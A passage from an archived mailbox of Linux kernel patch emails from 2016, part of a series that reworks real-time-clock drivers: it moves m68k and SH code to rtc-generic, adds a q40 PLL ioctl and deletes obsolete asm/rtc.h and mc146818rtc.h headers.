 }
-EXPORT_SYMBOL(get_rtc_time);
 
-int set_rtc_time(struct rtc_time *tm)
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
 {
 	unsigned long secs;
 
 	rtc_tm_to_time(tm, &secs);
-	return rtc_sh_set_time(secs);
+	if (!rtc_sh_set_time || rtc_sh_set_time(secs) < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
 }
-EXPORT_SYMBOL(set_rtc_time);
+
+static const struct rtc_class_ops rtc_generic_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
 
 static int __init rtc_generic_init(void)
 {
@@ -79,7 +82,10 @@ static int __init rtc_generic_init(void)
 	if (rtc_sh_get_time == null_rtc_get_time)
 		return -ENODEV;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &rtc_generic_ops,
+					     sizeof(rtc_generic_ops));
+
 
 	return PTR_ERR_OR_ZERO(pdev);
 }
diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index d726c6aa96a8..3958e87a05fa 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -10,7 +10,7 @@
 #include <linux/rtc.h>
 
 #if defined(CONFIG_M68K) || defined(CONFIG_PARISC) || \
-    defined(CONFIG_PPC) || defined(CONFIG_SUPERH32)
+    defined(CONFIG_PPC)
 #include <asm/rtc.h>
 
 static int generic_get_time(struct device *dev, struct rtc_time *tm)
-- 
2.7.0


From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 10/16] rtc: m68k: provide ioctl for q40
Date: Thu, 28 Apr 2016 00:34:24 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <1461796470-1291527-11-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796568 23468 80.91.229.3 (27 Apr 2016 22:36:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:36:08 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 28 00:36:06 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avY3x-0004zt-TV
	for glk-linux-kernel-3@plane.gmane.org; Thu, 28 Apr 2016 00:36:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754115AbcD0Wfu (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 27 Apr 2016 18:35:50 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.13]:56918 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754057AbcD0Wfq (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 27 Apr 2016 18:35:46 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MRlnN-1b6Idh2Zez-00T0Rl; Thu, 28 Apr
 2016 00:34:52 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:RktldUwS981WlONpG3MYrdX4r9/s9FgSDFmAYbARkPS9smtyIce
 tj/NDTJgmp2mwyZiYaNDsNltY0ZXwIQ6ucGTOhDBzyVn/boVshUzsBHRb6/YX/N3uLQZ5Fs
 R1fWYkmqNtA7xQ+ygp1V4OjqphfRlDUCxecGFE+GQuDPPt/yvJqjNd4MfyE/vCvLwBZN5ep
 /JTCFqb5HZELk4U3YnYbA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:fKb2ZsotwuI=:8vNhchmTrtfiAVvpOuxvik
 dpxccZGVODooPBmpxeQjeyf3VLL1P+5WnY0k00O2lEDUFI9PIYbqnaE7YRAdwX0cspafuXCNi
 GjIX32qvEFyPMMgWhDxALOWFwTK25gCrq0cRvySBSGo9UVhdQWmayLy+A76/7jTy8zTseZ5v/
 C76dA3U9BzxEHkMIroWDgz6UDi7VOguWC4+uAfJTzHmlAxZLTRszZOv5jTBNO6VyNVctGnQVm
 7jZ3418VMciK3jxOYzroGavflwd77nvta+RH1s8tqNZY11ga6LDPm8C9m47QtYg3VoWEHrvh/
 RCevsfYRSJvqIZ9tyPeNRct/xnxDZq196yfiNnAarufNqLexEVnH2YMW4RAs/kmAbN4pNe03L
 srBkipsTpYwp11oxT1xVHEiatizM0HCu+RAIFydt1fdxiLinpU/HbZZoWlTtyk0Xqsozw6Ivz
 hJmueEY+BSmwaEeRjicoVCZr5z3fFbOEeA9z+7voV9Lhu7NGeJLmA7VjHWFfP3jCEOiBLmHtX
 bbQlMYR+/Q1HouPVpcpro5l7sbQ9eOWklwLozYMNTuE7kSDgqDr7MFyWsmVlMEmS9Yun7g3C0
 IqSrpuwspAGoFjKnNc5gadIgjeev+pv9EwQSdslnLgFz2sB8Qetyo6+jsd4rYfFeYuBfozJLt
 yoZbqgVYH6R3R161w4ub6oJn4SlNj5kE3jCAiAeFo5l7wbxHGtAoPdDDoMGAhoXyDrG4=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2210015 gmane.linux.ports.alpha:3680 gmane.linux.ports.parisc:26708 gmane.linux.ports.ppc64.devel:126511 gmane.linux.ports.sh.devel:53866 gmane.linux.kernel.cross-arch:31792
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2210015>

The q40 platform is the only machine in the kernel that provides
RTC_PLL_GET/RTC_PLL_SET ioctl commands in its rtc through the
mach_get_rtc_pll/mach_set_rtc_pll callbacks.

However, this currenctly works only in the old-style genrtc
driver, not the (somewhat) modern rtc-generic driver replacing
it. This adds an ioctl implementation to the m68k generic_rtc_ops
in order to let both drivers provide the same API.

After this, we should be able to remove support for genrtc
from the m68k architecture.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/m68k/kernel/time.c | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/arch/m68k/kernel/time.c b/arch/m68k/kernel/time.c
index 80e024a10115..465423c07a92 100644
--- a/arch/m68k/kernel/time.c
+++ b/arch/m68k/kernel/time.c
@@ -100,7 +100,32 @@ static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
 	return 0;
 }
 
+static int rtc_ioctl(struct device *dev, unsigned int cmd, unsigned long arg)
+{
+	struct rtc_pll_info pll;
+	struct rtc_pll_info __user *argp = (void __user *)arg;
+
+	switch (cmd) {
+	case RTC_PLL_GET:
+		if (!mach_get_rtc_pll || mach_get_rtc_pll(&pll))
+			return -EINVAL;
+		return copy_to_user(argp, &pll, sizeof pll) ? -EFAULT : 0;
+
+	case RTC_PLL_SET:
+		if (!mach_set_rtc_pll)
+			return -EINVAL;
+		if (!capable(CAP_SYS_TIME))
+			return -EACCES;
+		if (copy_from_user(&pll, argp, sizeof(pll)))
+			return -EFAULT;
+		return mach_set_rtc_pll(&pll);
+	}
+
+	return -ENOIOCTLCMD;
+}
+
 static const struct rtc_class_ops generic_rtc_ops = {
+	.ioctl = rtc_ioctl,
 	.read_time = rtc_generic_get_time,
 	.set_time = rtc_generic_set_time,
 };
-- 
2.7.0



From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 11/16] char/genrtc: remove m68k support
Date: Thu, 28 Apr 2016 00:34:25 +0200
Lines: 313
Approved: news@gmane.org
Message-ID: <1461796470-1291527-12-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796574 23495 80.91.229.3 (27 Apr 2016 22:36:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:36:14 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 28 00:36:06 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avY3x-0004zt-5n
	for glk-linux-kernel-3@plane.gmane.org; Thu, 28 Apr 2016 00:36:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754100AbcD0Wfo (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 27 Apr 2016 18:35:44 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.74]:63797 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754067AbcD0Wfj (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 27 Apr 2016 18:35:39 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MA6Q5-1aodEK0eIj-00BL2P; Thu, 28 Apr
 2016 00:34:53 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:/b8Ei1tV1SoAUnNvSud5u4Fh+gqlcAb1zuKGYJPQN/vFBXHyKIV
 NYPDwMk56T/UyF+8ieZY4XXaLgrokYhX+J6N1srezzjM3txwW4pyk+a6wWMqK7nvdK4ddZi
 z2aboL/6sTgTmB72UUT3cMgivxkatn+8jwW4VL3/geapBKqsh1FGFTm9YniBOxM2X3GXUWt
 M8F1ULW5k8IbmHYhWVKHw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:13+sH3fNplc=:oU7P6KL2JeBvCkIjUHuXeb
 cpDohn8bLWqX4tjCvYNciirDcz3Jypm+1izULUGZaE1f5k3llXHsw+mJ+YPLT1K/xcXlThh9d
 Wa/8uzzXYJ7npBJ0+T6ywHhvZKdnpo4W9Mb2NueoYT6J35+L8C/Hg53dmHIiSRVidfeIuLpok
 cKFAh3YwPK4vxISGVdVbPOqEzsOQpCS2n/4mB9Q7frPADlSCAHUwTVy5mHHTZ0JbEzD+T4Hyy
 MydCPma6Dk7uAcGocKX4LsojqGNkSt9o35goc6imk6Cz2fxdJ2MybfGZ1Reap5SVDHOuHG7Yl
 I0/DD39idx8J6KoVCb2VyqxWFQN7Q3DncNYwNaazLhAQdHWxP6PvV/I/E9L+dlQlR2bQhxNL0
 7yxIDkOax4FTDaW6uJLLekjOwwH4RtGpSg8VzGISaho0JSkbLFv4gaojH2WexJm5iU2kmigFi
 jKLomA9O2ue302h2keGBECq5sBeP1qPDYKY34LzaVw3ioweIm4tViSpWZyy+73HmL0kW50bi0
 etvKz9qmeQaAQ8+1xmV9T3cTnRbyA1NoMaGJa0pZgYb0W8e9TS2sbWwVeshaRWCFlTgFvDOyS
 40hwTk9Kbn+BwUZX24eaM3EjLt22oHPpkI5Uj6MomCMnzX5ZV6Qg+TbbMDJtXVFWvxdpigRt9
 7pjAEHsZeqgAkTHSw0aX4TFIKulXAidhOFt5s+JQyhjQ7TPdr2sogXWXUNyHaqXu41+0=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2210016 gmane.linux.ports.alpha:3681 gmane.linux.ports.parisc:26709 gmane.linux.ports.ppc64.devel:126512 gmane.linux.ports.sh.devel:53867 gmane.linux.kernel.cross-arch:31793
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2210016>

The asm/rtc.h header is only used for the old gen_rtc driver
that has been replaced by rtc-generic. According to Geert
Uytterhoeven, nobody has used the old driver on m68k for
a long time, so we can now just remove the header file
and disallow the driver in Kconfig.

All files that used to include asm/rtc.h are now changed so
they include the headers that were used implicitly through
asm/rtc.h.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/m68k/amiga/config.c    |  1 -
 arch/m68k/apollo/config.c   |  1 -
 arch/m68k/bvme6000/config.c |  1 -
 arch/m68k/hp300/config.c    |  2 +-
 arch/m68k/include/asm/rtc.h | 79 ---------------------------------------------
 arch/m68k/mac/config.c      |  3 +-
 arch/m68k/mac/misc.c        |  1 -
 arch/m68k/mvme147/config.c  |  1 -
 arch/m68k/mvme16x/config.c  |  1 -
 arch/m68k/q40/config.c      |  2 +-
 arch/m68k/sun3/config.c     |  1 -
 arch/m68k/sun3/intersil.c   |  2 +-
 arch/m68k/sun3x/time.c      |  2 +-
 drivers/char/Kconfig        |  2 +-
 14 files changed, 7 insertions(+), 92 deletions(-)
 delete mode 100644 arch/m68k/include/asm/rtc.h

diff --git a/arch/m68k/amiga/config.c b/arch/m68k/amiga/config.c
index 01693df7f2f6..ec9cc1fdd237 100644
--- a/arch/m68k/amiga/config.c
+++ b/arch/m68k/amiga/config.c
@@ -35,7 +35,6 @@
 #include <asm/amigahw.h>
 #include <asm/amigaints.h>
 #include <asm/irq.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 #include <asm/io.h>
 
diff --git a/arch/m68k/apollo/config.c b/arch/m68k/apollo/config.c
index 6e62d66c396e..432bc8bacfc2 100644
--- a/arch/m68k/apollo/config.c
+++ b/arch/m68k/apollo/config.c
@@ -15,7 +15,6 @@
 #include <asm/pgtable.h>
 #include <asm/apollohw.h>
 #include <asm/irq.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 
 u_long sio01_physaddr;
diff --git a/arch/m68k/bvme6000/config.c b/arch/m68k/bvme6000/config.c
index 478623dbb209..611d4d9ea2bd 100644
--- a/arch/m68k/bvme6000/config.c
+++ b/arch/m68k/bvme6000/config.c
@@ -34,7 +34,6 @@
 #include <asm/setup.h>
 #include <asm/irq.h>
 #include <asm/traps.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 #include <asm/bvme6000hw.h>
 
diff --git a/arch/m68k/hp300/config.c b/arch/m68k/hp300/config.c
index a9befe65adc4..7cfab158fb61 100644
--- a/arch/m68k/hp300/config.c
+++ b/arch/m68k/hp300/config.c
@@ -12,6 +12,7 @@
 #include <linux/string.h>
 #include <linux/kernel.h>
 #include <linux/console.h>
+#include <linux/rtc.h>
 
 #include <asm/bootinfo.h>
 #include <asm/bootinfo-hp300.h>
@@ -20,7 +21,6 @@
 #include <asm/blinken.h>
 #include <asm/io.h>                               /* readb() and writeb() */
 #include <asm/hp300hw.h>
-#include <asm/rtc.h>
 
 #include "time.h"
 
diff --git a/arch/m68k/include/asm/rtc.h b/arch/m68k/include/asm/rtc.h
deleted file mode 100644
index a4d08ea122ee..000000000000
--- a/arch/m68k/include/asm/rtc.h
+++ /dev/null
@@ -1,79 +0,0 @@
-/* include/asm-m68k/rtc.h
- *
- * Copyright Richard Zidlicky
- * implementation details for genrtc/q40rtc driver
- */
-/* permission is hereby granted to copy, modify and redistribute this code
- * in terms of the GNU Library General Public License, Version 2 or later,
- * at your option.
- */
-
-#ifndef _ASM_RTC_H
-#define _ASM_RTC_H
-
-#ifdef __KERNEL__
-
-#include <linux/rtc.h>
-#include <asm/errno.h>
-#include <asm/machdep.h>
-
-#define RTC_PIE 0x40		/* periodic interrupt enable */
-#define RTC_AIE 0x20		/* alarm interrupt enable */
-#define RTC_UIE 0x10		/* update-finished interrupt enable */
-
-/* some dummy definitions */
-#define RTC_BATT_BAD 0x100	/* battery bad */
-#define RTC_SQWE 0x08		/* enable square-wave output */
-#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
-#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
-#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
-
-static inline unsigned int get_rtc_time(struct rtc_time *time)
-{
-	/*
-	 * Only the values that we read from the RTC are set. We leave
-	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
-	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
-	 * by the RTC when initially set to a non-zero value.
-	 */
-	if (mach_hwclk)
-		mach_hwclk(0, time);
-	return RTC_24H;
-}
-
-static inline int set_rtc_time(struct rtc_time *time)
-{
-	if (mach_hwclk)
-		return mach_hwclk(1, time);
-	return -EINVAL;
-}
-
-static inline unsigned int get_rtc_ss(void)
-{
-	if (mach_get_ss)
-		return mach_get_ss();
-	else{
-		struct rtc_time h;
-
-		get_rtc_time(&h);
-		return h.tm_sec;
-	}
-}
-
-static inline int get_rtc_pll(struct rtc_pll_info *pll)
-{
-	if (mach_get_rtc_pll)
-		return mach_get_rtc_pll(pll);
-	else
-		return -EINVAL;
-}
-static inline int set_rtc_pll(struct rtc_pll_info *pll)
-{
-	if (mach_set_rtc_pll)
-		return mach_set_rtc_pll(pll);
-	else
-		return -EINVAL;
-}
-#endif /* __KERNEL__ */
-
-#endif /* _ASM__RTC_H */
diff --git a/arch/m68k/mac/config.c b/arch/m68k/mac/config.c
index 689b47d292ac..2f33a33001e5 100644
--- a/arch/m68k/mac/config.c
+++ b/arch/m68k/mac/config.c
@@ -10,6 +10,7 @@
  * Miscellaneous linux stuff
  */
 
+#include <linux/errno.h>
 #include <linux/module.h>
 #include <linux/types.h>
 #include <linux/mm.h>
@@ -25,6 +26,7 @@
 #include <linux/platform_device.h>
 #include <linux/adb.h>
 #include <linux/cuda.h>
+#include <linux/rtc.h>
 
 #include <asm/setup.h>
 #include <asm/bootinfo.h>
@@ -34,7 +36,6 @@
 #include <asm/io.h>
 #include <asm/irq.h>
 #include <asm/pgtable.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 
 #include <asm/macintosh.h>
diff --git a/arch/m68k/mac/misc.c b/arch/m68k/mac/misc.c
index 707b61aea203..0fb54a90eac2 100644
--- a/arch/m68k/mac/misc.c
+++ b/arch/m68k/mac/misc.c
@@ -18,7 +18,6 @@
 
 #include <asm/uaccess.h>
 #include <asm/io.h>
-#include <asm/rtc.h>
 #include <asm/segment.h>
 #include <asm/setup.h>
 #include <asm/macintosh.h>
diff --git a/arch/m68k/mvme147/config.c b/arch/m68k/mvme147/config.c
index e6a3b56c6481..c11d38dfad08 100644
--- a/arch/m68k/mvme147/config.c
+++ b/arch/m68k/mvme147/config.c
@@ -32,7 +32,6 @@
 #include <asm/setup.h>
 #include <asm/irq.h>
 #include <asm/traps.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 #include <asm/mvme147hw.h>
 
diff --git a/arch/m68k/mvme16x/config.c b/arch/m68k/mvme16x/config.c
index a53803cc66cd..58e240939d26 100644
--- a/arch/m68k/mvme16x/config.c
+++ b/arch/m68k/mvme16x/config.c
@@ -35,7 +35,6 @@
 #include <asm/setup.h>
 #include <asm/irq.h>
 #include <asm/traps.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 #include <asm/mvme16xhw.h>
 
diff --git a/arch/m68k/q40/config.c b/arch/m68k/q40/config.c
index e90fe903613e..fcb7f05b60b6 100644
--- a/arch/m68k/q40/config.c
+++ b/arch/m68k/q40/config.c
@@ -12,6 +12,7 @@
  * for more details.
  */
 
+#include <linux/errno.h>
 #include <linux/types.h>
 #include <linux/kernel.h>
 #include <linux/mm.h>
@@ -27,7 +28,6 @@
 #include <linux/platform_device.h>
 
 #include <asm/io.h>
-#include <asm/rtc.h>
 #include <asm/bootinfo.h>
 #include <asm/pgtable.h>
 #include <asm/setup.h>
diff --git a/arch/m68k/sun3/config.c b/arch/m68k/sun3/config.c
index 71884bf01d72..3af34fa3a344 100644
--- a/arch/m68k/sun3/config.c
+++ b/arch/m68k/sun3/config.c
@@ -26,7 +26,6 @@
 #include <asm/pgalloc.h>
 #include <asm/sun3-head.h>
 #include <asm/sun3mmu.h>
-#include <asm/rtc.h>
 #include <asm/machdep.h>
 #include <asm/machines.h>
 #include <asm/idprom.h>
diff --git a/arch/m68k/sun3/intersil.c b/arch/m68k/sun3/intersil.c
index 889829e11f1d..2cd0bcbe6f30 100644
--- a/arch/m68k/sun3/intersil.c
+++ b/arch/m68k/sun3/intersil.c
@@ -14,8 +14,8 @@
 #include <linux/rtc.h>
 
 #include <asm/errno.h>
-#include <asm/rtc.h>
 #include <asm/intersil.h>
+#include <asm/machdep.h>
 
 
 /* bits to set for start/run of the intersil */
diff --git a/arch/m68k/sun3x/time.c b/arch/m68k/sun3x/time.c
index c8eb08add6b0..431d3c4306dd 100644
--- a/arch/m68k/sun3x/time.c
+++ b/arch/m68k/sun3x/time.c
@@ -15,10 +15,10 @@
 
 #include <asm/irq.h>
 #include <asm/io.h>
+#include <asm/machdep.h>
 #include <asm/traps.h>
 #include <asm/sun3x.h>
 #include <asm/sun3ints.h>
-#include <asm/rtc.h>
 
 #include "time.h"
 
diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index abab6e565c60..26089feae9b0 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -328,7 +328,7 @@ config JS_RTC
 config GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on M68K || PPC
+	depends on PPC
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
-- 
2.7.0



From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 01/16] rtc: cmos: remove empty asm/mc146818rtc.h files
Date: Thu, 28 Apr 2016 00:34:15 +0200
Lines: 106
Approved: news@gmane.org
Message-ID: <1461796470-1291527-2-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796591 23874 80.91.229.3 (27 Apr 2016 22:36:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:36:31 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 28 00:36:23 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avY4E-00056m-Op
	for glk-linux-kernel-3@plane.gmane.org; Thu, 28 Apr 2016 00:36:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754049AbcD0WgB (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 27 Apr 2016 18:36:01 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.24]:65257 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753947AbcD0Wf4 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 27 Apr 2016 18:35:56 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MORLZ-1b0ki22lID-005m4T; Thu, 28 Apr
 2016 00:34:48 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:B1uPrrbFlwyJa5wj1lfx3hJnOYjPiyFIB6aSscav6a6cEXILlDR
 3niXOOoA0jAyWJl3PerNK9g78btD1jCv56XU20aSlZM1PU3SeBBVMHEhFWQTlw9+hwapg7Q
 R7CAp0kpzbIYtdTmqnMZunlrP5wQJDLSZatlIYSVxKOTqqVCUuZtrKtPs3Pd85lC1fiMyd/
 rXvzEwyexAEEjnEc07EqQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Abfw2q7P0G8=:lsIyBL2yHjsWHA87c1hxDQ
 3+UbtQT4IAEwyJQVtkLW1LBsSpFBmH00h1KUcmlWhNTbG1DENv0/ME8iLc1B6qgVe+JA3TmNj
 S/CzpQzPVAj1MH96siKhly7d2rW9tUF7+uAy4zAdgae6cmf+keYihQ3wuYX40eAGZkDgdkCSi
 +MpxueFBUBSzGpsZw+CFsZwRsmnRj8F/xgwnlgKr/nNy2kfw1SCm5tvaP+TNVZNTY5RFwLtrY
 SSAT9XG8HLrkxtQ3Apf0RuAJPzvEAzL+QY71c08AInKONM8h41GA1HqObzBdIMrGtWEhA/StW
 vfEe2ZPOgqY5CSdiKiriTfKEtrb9AbQTSMETI0Oi9xUFjVfK1/GGGsKZpYRJ4IGhSpM2pwjap
 +TlLqWoUEvdb9yNtugh/M+t8z+3lY5pgOs5NZ0LBZBoCtxtklbf/2FA6Dvre2C7YMp9yv5qqn
 FiC61b5u7vQZ4ltro12N3fRX+0hi2lIRJlKDv5rEdeD+nAwDrSMDZsWFgdVzwgH1dfDhXxXbO
 uYZ1GLXrOlr/im+GsNQ/3tTMJoa6+23wWjPJmVRmbGLt3agEYyBfO2bnLLDwAoyTGb9Wikq/K
 YUpEFeGTeQk92Ij12yX9NN2sGKZ2G6Wlf/V5326BsSJ+xN0O8t9BHv8bGS4nU7++ty0cI0PlI
 UJQW5SqZ+MfjRlfa8b25o1bui91sqp99hvBDaQezVsZdxKXyZDp2wmvq8KtMfdF5byz0=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2210017 gmane.linux.ports.alpha:3682 gmane.linux.ports.parisc:26710 gmane.linux.ports.ppc64.devel:126513 gmane.linux.ports.sh.devel:53868 gmane.linux.kernel.cross-arch:31794
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2210017>

Nothing on these architectures ever includes the asm/mc146818rtc.h
file, the drivers that used to do this have been fixed long ago,
and the remaining users are all PC-specific.

This removes the files for good.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Alexandre Belloni <alexandre.belloni@free-electrons.com>
---
 arch/frv/include/asm/mc146818rtc.h    | 16 ----------------
 arch/h8300/include/asm/mc146818rtc.h  |  9 ---------
 arch/ia64/include/asm/mc146818rtc.h   | 10 ----------
 arch/parisc/include/asm/mc146818rtc.h |  9 ---------
 arch/sh/include/asm/mc146818rtc.h     |  7 -------
 5 files changed, 51 deletions(-)
 delete mode 100644 arch/frv/include/asm/mc146818rtc.h
 delete mode 100644 arch/h8300/include/asm/mc146818rtc.h
 delete mode 100644 arch/ia64/include/asm/mc146818rtc.h
 delete mode 100644 arch/parisc/include/asm/mc146818rtc.h
